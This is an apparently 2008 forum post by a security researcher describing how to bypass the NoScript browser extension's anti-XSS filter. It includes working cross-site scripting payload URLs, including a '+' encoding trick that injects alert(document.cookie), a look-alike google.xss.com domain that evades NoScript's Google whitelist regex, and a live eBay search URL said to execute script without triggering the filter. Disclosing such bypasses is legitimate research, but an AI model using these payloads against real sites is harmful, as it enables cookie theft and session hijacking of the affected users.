Ah! hacking noscript?
thats easy..
http://trustedsite.com/?xss-inside-script-tag='%2Balert(document.cookie)+//a:1
for example.. (eBay has a XSS issue very similar to the one I'm describing (well, actually, a lot of sites, but eBay rocks))
<script>
var x='<?php echo $_GET['xss']?>';
</script>
But duuuude!! what's happening?
Well, NoScript thinks, that.. "+" is a plus.. but in reality.. "+" is a space, and so..
var x=''+alert(document.cookie) //a:';
is valid js code! (damn, I'm good, 10 minutes to hack NoScript :D)
Greetz!!
PS. It's a joke, noscript is great :P, and even do I did spent 10 minutes to find the issue, it was because I had this idea for attacking noscript since a couple of months ago, but I didnt tested it till today.
but WAIT!!
thats all?
The hell it isn't!! (anyway, this last attack is not so dangerous, since it requires user interaction [enabling javascript on an untrusted domain])
Let's take a look at NoScript's default anti-xss rules:
^http://([a-z]+)\.google\.(?:[a-z]{1,3}\.)?[a-z]+/(?:search|custom|\1)\?
That means, well.. that:
http://images.google.com/search?asdfasdf=%3Cscript%3E&q=Asdf
Will bypass NoScript (because we all trust google =D), but.. wait.. that's for google domains exclusively right?
Well, wrong!! because, well.. 20 bux, we can get a 3 letter domain http://www.3character.com/recentsales.html
And so do:
http://www.google.xss.com/customcustom%3Fasdf%2F..%2F?some-host-not-checking-for-Host-headers=%3Cscript%3E
Pointing google.xss.com to your router or something.
There's an issue with this last attack.. NoScript does his job, and automatically denies google.xss.com.. anyway, enabling javascript in such domain (social engineering) would allow the attacker to send evil XSS attacks to your router/intranet what-ever.
Anyway, hacking noscript is fun :D
And in any case someone wondered..
http://search.ebay.com/search/search.dll?_trksid=&satitle=ME+XSS+U&category0=&from=%27%2Balert(document.cookie)%2B%27
And yeah, that's not triggering noscript alarms :D
Greetz!!
--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat
Edited 1 time(s). Last edit at 06/16/2008 04:12AM by sirdarckcat.